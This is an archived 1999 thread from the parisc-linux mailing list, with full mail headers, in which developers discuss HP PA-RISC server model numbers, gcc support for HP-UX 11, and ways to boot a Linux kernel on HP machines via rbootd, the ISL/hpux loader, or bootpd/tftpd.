	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA12430;
	Wed, 30 Jun 1999 17:37:08 -0400 (EDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id OAA20302; Wed, 30 Jun 1999 14:38:23 -0700 (PDT)
In-Reply-To: <BF0601275C6FD211B04900A0C9E9205241D107@mailsrvr.hq.celltech.com>; from "Davin Petersen" at Jun 30, 99 10:26 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9662

The letter in the [GHI][567] systems refers to the number of I/O slots
on the backplane. The number designates the processor board. The

50 = Uni 96MHz PA-7100, 256K I$, 256K D$
60 = Uni 96MHz PA-7100, 1024K I$, 1024K D$
70 = Dual 96MHz PA-7100, 1024K I$, 1024K D$ per processor

I wrote an article in the HP Journal about the I70 development, which
has block diagrams which descibe the system at a high level.

PA-RISC Symmetric Multiprocessing in Midrange Servers 
  http://www.hp.com/hpj/94jun/jun94_31.pdf

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 785-5677		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kevin Carson" <Kevin_Carson@hp-canada-om1.om.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Wed, 30 Jun 1999 18:20:27 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <00be01bec35f$e780f410$2119510f@vset33.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619678 12413 80.91.229.3 (22 Nov 2014 01:27:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:58 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: Kevin_Carson@hp-canada-om1.om.hp.com  Wed Jun 30 23:10:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA23106
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 23:10:07 -0600
Original-Received: (qmail 18336 invoked by uid 15267); 1 Jul 1999 05:10:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23065 invoked from network); 1 Jul 1999 01:21:01 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Jul 1999 01:21:01 -0000
Original-Received: from i3125om5.atl.hp.com (root@i3125om5.atl.hp.com [15.45.88.74])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id VAA22867
	for <parisc-linux@thepuffingroup.com>; Wed, 30 Jun 1999 21:20:42 -0400 (EDT)
Original-Received: from vset33 (vset33.canada.hp.com [15.81.25.33]) by i3125om5.atl.hp.com with SMTP (8.8.6 (PHNE_17135)/8.7.3 TIS 5.0 Openmail) id VAA12010 for <parisc-linux@thepuffingroup.com>; Wed, 30 Jun 1999 21:20:57 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3155.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Xref: news.gmane.org gmane.linux.ports.parisc:9663

As I understand it,

second column consists of the PA-RISC instruction set revision (1.0, 1.1, or
2.0) and the letter indicates what type of CPU is running that revision in
the respective
box (CPU models being also the third column).

The point of all this is that the HP ANSI compiler takes both a instruction
revision the object code is targeted towards (the most portable being the
older revision 1.0 since all the revisions are backward compatible) and a
hint about which implementation the instruction scheduling optimizations
should be targeting (which does affect compatability in any way).

How much difference does the letter portion really make? From practical
experience not much, but it could!  Which is the point of maintaining this
file in the first place.  The instruction set revision makes a BIG
difference for later chips.

Kevin

-----Original Message-----
From: rrauenza@cup.hp.com <rrauenza@cup.hp.com>
To: adevries@thepuffingroup.com <adevries@thepuffingroup.com>
Cc: rrauenza@cup.hp.com <rrauenza@cup.hp.com>;
parisc-linux@thepuffingroup.com <parisc-linux@thepuffingroup.com>
Date: Tuesday, June 29, 1999 11:55 PM
Subject: Re: [parisc-linux] H60


>
>Apparently it exists in quite a few places!
>
>The second column is the PA-RISC version number.  I'm not sure how
>significant the letters are in the version numbers.
>
>> Rich Rauenzahn wrote:
>> >
>> > Take a look at  /usr/lib/sched.models on HP-UX -- it documents quite a
few
>> > models and PA-RISC versions.
>> >
>>
>> Oh, that's pretty interesting.  I found sched.modules in
>> /usr/sam/lib/mo.
>>
>> What's the second column?
>>
>> - Alex
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.
>


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cygnus announces HP/UX-11 support
Date: Fri, 2 Jul 1999 00:08:51 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <19990702000851.A30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619679 12661 80.91.229.3 (22 Nov 2014 01:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Thu Jul  1 16:08:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA23984
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jul 1999 16:08:42 -0600
Original-Received: (qmail 1505 invoked by uid 15267); 1 Jul 1999 22:08:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1491 invoked from network); 1 Jul 1999 22:08:53 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 1 Jul 1999 22:08:53 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id AAA12213
	for <parisc-linux@thepuffingroup.com>; Fri, 2 Jul 1999 00:08:52 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id AAA3199926
	for <parisc-linux@thepuffingroup.com>; Fri, 2 Jul 1999 00:08:51 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10zp0l-00025bC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Fri, 2 Jul 1999 00:08:51 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9664


June 29, 1999
	Cygnus Solutions has donated hpux11 support. (Note that this will
	not yet be included in gcc 2.95.) 

Is this at all related to the ELF64 work?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cygnus announces HP/UX-11 support
Date: Thu, 01 Jul 1999 16:23:48 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <31066.930867828@upchuck.cygnus.com>
References: <19990702000851.A30362@mencheca.ch.genedata.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619679 12681 80.91.229.3 (22 Nov 2014 01:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: law@upchuck.cygnus.com  Thu Jul  1 16:25:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA24159
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jul 1999 16:25:00 -0600
Original-Received: (qmail 5765 invoked by uid 15267); 1 Jul 1999 22:25:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5753 invoked from network); 1 Jul 1999 22:25:07 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 1 Jul 1999 22:25:07 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id QAA31069;
	Thu, 1 Jul 1999 16:23:48 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 02 Jul 1999 00:08:51 +0200.
             <19990702000851.A30362@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9665

  In message <19990702000851.A30362@mencheca.ch.genedata.com>you write:
  > 
  > June 29, 1999
  > 	Cygnus Solutions has donated hpux11 support. (Note that this will
  > 	not yet be included in gcc 2.95.) 
  > 
  > Is this at all related to the ELF64 work?
Not really.  That is 32bit hpux11 support.

I am working on 64bit hpux11 support, but don't expect that code to show up
until late in '99.

jeff


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davin Petersen <davinp@celltech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting the kernel
Date: Thu, 1 Jul 1999 15:41:40 -0700
Lines: 5
Approved: news@gmane.org
Message-ID: <BF0601275C6FD211B04900A0C9E9205241D111@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619679 12686 80.91.229.3 (22 Nov 2014 01:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: davinp@celltech.com  Thu Jul  1 16:45:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA24364
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jul 1999 16:45:37 -0600
Original-Received: (qmail 9060 invoked by uid 15267); 1 Jul 1999 22:45:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9053 invoked from network); 1 Jul 1999 22:45:50 -0000
Original-Received: from athena.celltech.com (HELO athena.hq.celltech.com) (209.180.183.21)
  by mailserv2.iuinc.com with SMTP; 1 Jul 1999 22:45:50 -0000
Original-Received: by athena.hq.celltech.com with Internet Mail Service (5.5.1960.3)
	id <NDTG6QR5>; Thu, 1 Jul 1999 15:40:16 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Xref: news.gmane.org gmane.linux.ports.parisc:9666

After downloading the goodies available from the FTP site I gather that
rbootd is the way to spit the linux kernel to a HP box.  Am I wrong?  Is
there no way of using the ISL?  I tried using the ISL (on my H60), got
an error message and was dumped back to the ISL prompt.


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Fri, 2 Jul 1999 00:56:13 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990702005613.B30362@mencheca.ch.genedata.com>
References: <BF0601275C6FD211B04900A0C9E9205241D111@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619680 12689 80.91.229.3 (22 Nov 2014 01:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Davin Petersen <davinp@celltech.com>
Original-X-From: Matthew.Wilcox@genedata.com  Thu Jul  1 16:56:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA24563
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jul 1999 16:56:00 -0600
Original-Received: (qmail 10755 invoked by uid 15267); 1 Jul 1999 22:56:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10748 invoked from network); 1 Jul 1999 22:56:16 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 1 Jul 1999 22:56:16 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id AAA12339;
	Fri, 2 Jul 1999 00:56:14 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id AAA3187059;
	Fri, 2 Jul 1999 00:56:14 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10zpkb-00025bC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for davinp@celltech.com; Fri, 2 Jul 1999 00:56:13 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <BF0601275C6FD211B04900A0C9E9205241D111@mailsrvr.hq.celltech.com>; from Davin Petersen on Thu, Jul 01, 1999 at 03:41:40PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9667

On Thu, Jul 01, 1999 at 03:41:40PM -0700, Davin Petersen wrote:
> After downloading the goodies available from the FTP site I gather that
> rbootd is the way to spit the linux kernel to a HP box.  Am I wrong?  Is
> there no way of using the ISL?  I tried using the ISL (on my H60), got
> an error message and was dumped back to the ISL prompt.

rbootd is the way for older machines like my 715.  Later models like
the A180 tftp their kernel, I think you need bootparamd set up as well.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Fri, 2 Jul 1999 01:15:17 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <19990702011517.A3692@alpha.franken.de>
References: <BF0601275C6FD211B04900A0C9E9205241D111@mailsrvr.hq.celltech.com> <19990702005613.B30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619680 12696 80.91.229.3 (22 Nov 2014 01:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        Davin Petersen <davinp@celltech.com>
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Thu Jul  1 17:20:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA24793
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Jul 1999 17:19:42 -0600
Original-Received: (qmail 15563 invoked by uid 15267); 1 Jul 1999 23:19:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15556 invoked from network); 1 Jul 1999 23:19:54 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 1 Jul 1999 23:19:54 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m10zq7K-0027VQC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Fri, 2 Jul 1999 01:19:42 +0200 (MET DST)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m10zq7G-002Ox7C; Fri, 2 Jul 99 01:19 MET DST
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id BAA03698;
	Fri, 2 Jul 1999 01:15:18 +0200
X-Mailer: Mutt 0.93.2
In-Reply-To: <19990702005613.B30362@mencheca.ch.genedata.com>; from Matthew Wilcox on Fri, Jul 02, 1999 at 12:56:13AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9668

On Fri, Jul 02, 1999 at 12:56:13AM +0200, Matthew Wilcox wrote:
> rbootd is the way for older machines like my 715.  Later models like
> the A180 tftp their kernel, I think you need bootparamd set up as well.

for the A180 you need a proper setup bootpd/tftpd combo.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich.Strelow@schering.de
Newsgroups: gmane.linux.ports.parisc
Subject: Antwort: [parisc-linux] Booting the kernel
Date: Fri, 2 Jul 1999 11:35:13 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <C12567A2.0034ABC8.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619680 12699 80.91.229.3 (22 Nov 2014 01:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Davin Petersen <davinp@celltech.com>
Original-X-From: Ulrich.Strelow@schering.de  Fri Jul  2 03:35:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA25329
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 03:35:43 -0600
Original-Received: (qmail 16457 invoked by uid 15267); 2 Jul 1999 09:36:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16450 invoked from network); 2 Jul 1999 09:36:00 -0000
Original-Received: from dns1.schering.de (149.234.12.1)
  by mailserv2.iuinc.com with SMTP; 2 Jul 1999 09:36:00 -0000
Original-Received: from be3334.schering.de by dns1.schering.de
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 2 Jul 1999 09:35:59 UT
Original-Received: from fw-wiss.schering.de (be2314.schering.de [149.234.1.29])
	by be3334.schering.de (8.9.1/8.9.1) with SMTP id LAA17391;
	Fri, 2 Jul 1999 11:35:23 +0200 (MET DST)
Original-Received: from be2314.schering.de by fw-wiss.schering.de
          via smtpd (for be3334.schering.de [192.168.11.3]) with SMTP; 2 Jul 1999 09:35:25 UT
Original-Received: by BE2314.schering.de(Lotus SMTP MTA v4.6.2  (693.3 8-11-1998))  id C12567A2.0034AC7F ; Fri, 2 Jul 1999 11:35:20 +0200
X-Lotus-FromDomain: SCHERINGGROUP
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9669



I have successfully compiled the 990628 snapshot of the CVS tree on my
715/33. After make vmlinux you get the file /usr/src/linux/vmlinux which is
a "PA-RISC1.1 executable -not stripped". After make Image you get the file
/usr/src/linux/arch/parisc/boot/Image which is a "lif file".  You can copy
vmlinux to /stand and use hpux (the HP-UX secondary system loader) to boot
that file instead of booting via rbootd. I have tried it that way:

1. Switch on the machine.
2. Press the ESC key to stop autoboot.
3. Boot from the primary path and specify to "interact with ISL" to get the
ISL prompt.
4. use hpux to load vmlinux
   hpux disc(2/0/1.6.0;0)/stand/vmlinux
             2/0/1.6.0                   is the hardware path to the boot
disk
                      ;0                 stands for section 0 which means
whole disk or LVM
                        /stand/vmlinux   is the kernel file to boot

Ulrich
---------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@yahoo.com>
Berlin, Germany







Davin Petersen <davinp@celltech.com> am 02.07.99 00:41:40


An:   parisc-linux@thepuffingroup.com
Kopie:     (Blindkopie: Ulrich Strelow/BE/USR/SHG)


Thema:    [parisc-linux] Booting the kernel





After downloading the goodies available from the FTP site I gather that
rbootd is the way to spit the linux kernel to a HP box.  Am I wrong?  Is
there no way of using the ISL?  I tried using the ISL (on my H60), got
an error message and was dumped back to the ISL prompt.

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.






From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Giles Lean <giles@nemeton.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Fri, 02 Jul 1999 21:23:13 +1000
Lines: 16
Approved: news@gmane.org
Message-ID: <22470.930914593@nemeton.com.au>
References: <BF0601275C6FD211B04900A0C9E9205241D111@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619681 12706 80.91.229.3 (22 Nov 2014 01:28:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Davin Petersen <davinp@celltech.com>
Original-X-From: giles@nemeton.com.au  Fri Jul  2 05:24:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA25774
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 05:24:50 -0600
Original-Received: (qmail 26072 invoked by uid 15267); 2 Jul 1999 11:25:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26036 invoked from network); 2 Jul 1999 11:24:58 -0000
Original-Received: from edison.dialix.com.au (203.12.2.8)
  by mailserv2.iuinc.com with SMTP; 2 Jul 1999 11:24:58 -0000
Original-Received: from nemeton.com.au (dy06.edison.dialix.com.au [203.12.2.37])
	by edison.dialix.com.au (8.9.1/8.9.1/DIALixFlat) with ESMTP id VAA06866
	for <parisc-linux@thepuffingroup.com>; Fri, 2 Jul 1999 21:23:57 +1000 (EST)
	(envelope-from giles@nemeton.com.au)
Original-Received: (qmail 22477 invoked from network); 2 Jul 1999 11:23:47 -0000
Original-Received: from nemeton.com.au (203.8.3.17)
  by nemeton.com.au with SMTP; 2 Jul 1999 11:23:47 -0000
In-reply-to: <BF0601275C6FD211B04900A0C9E9205241D111@mailsrvr.hq.celltech.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9670


On Thu, 1 Jul 1999 15:41:40 -0700  Davin Petersen wrote:

> After downloading the goodies available from the FTP site I gather that
> rbootd is the way to spit the linux kernel to a HP box.  Am I wrong?  Is
> there no way of using the ISL?  I tried using the ISL (on my H60), got
> an error message and was dumped back to the ISL prompt.

At the time the G/H/I series machines were released HP didn't support
network booting any 800 series machines, just workstations (700s).  I
suspect you won't be able to boot this machine from the network.

Regards,

Giles


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Fri, 02 Jul 1999 15:26:32 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <377CBE08.741968BC@gmx.de>
References: <BF0601275C6FD211B04900A0C9E9205241D111@mailsrvr.hq.celltech.com> <19990702005613.B30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619681 12707 80.91.229.3 (22 Nov 2014 01:28:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Fri Jul  2 07:26:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA25989
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 07:26:29 -0600
Original-Received: (qmail 5845 invoked by uid 15267); 2 Jul 1999 13:26:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5837 invoked from network); 2 Jul 1999 13:26:46 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 2 Jul 1999 13:26:46 -0000
Original-Received: (qmail 9209 invoked from network); 2 Jul 1999 13:26:39 -0000
Original-Received: from dialppp-1-235.rz.ruhr-uni-bochum.de (HELO gmx.de) (134.147.1.235)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 2 Jul 1999 13:26:39 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9671

Matthew Wilcox schrieb:

> On Thu, Jul 01, 1999 at 03:41:40PM -0700, Davin Petersen wrote:
> > After downloading the goodies available from the FTP site I gather that
> > rbootd is the way to spit the linux kernel to a HP box.  Am I wrong?  Is
> > there no way of using the ISL?  I tried using the ISL (on my H60), got
> > an error message and was dumped back to the ISL prompt.
>
> rbootd is the way for older machines like my 715.  Later models like
> the A180 tftp their kernel, I think you need bootparamd set up as well.

That's not 100% correct, since my 715/64 uses bootpd/tftpd too.
David, you may start tftpd -d 0 (=zero) in etc/inetd.conf, so you can see
warnings & transfers on the Log-Console.
---snip---
#
tftp    dgram   udp     wait    nobody  /usr/sbin/tcpd  in.tftpd /tftpboot
bootps dgram udp wait root /usr/sbin/bootpd bootpd -d 0 -c /tftpboot
#
---snip---

Helge Deller.



From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rich Rauenzahn" <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: [parisc-linux] Booting the kernel
Date: Fri, 2 Jul 1999 08:24:48 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <004401bec49f$05fa81a0$e38f4b0f@cup.hp.com>
References: <C12567A2.0034ABC8.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619681 12711 80.91.229.3 (22 Nov 2014 01:28:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:01 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: <Ulrich.Strelow@schering.de>, "Davin Petersen" <davinp@celltech.com>
Original-X-From: rrauenza@cup.hp.com  Fri Jul  2 09:24:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA26224
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 09:24:40 -0600
Original-Received: (qmail 24420 invoked by uid 15267); 2 Jul 1999 15:24:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24413 invoked from network); 2 Jul 1999 15:24:57 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
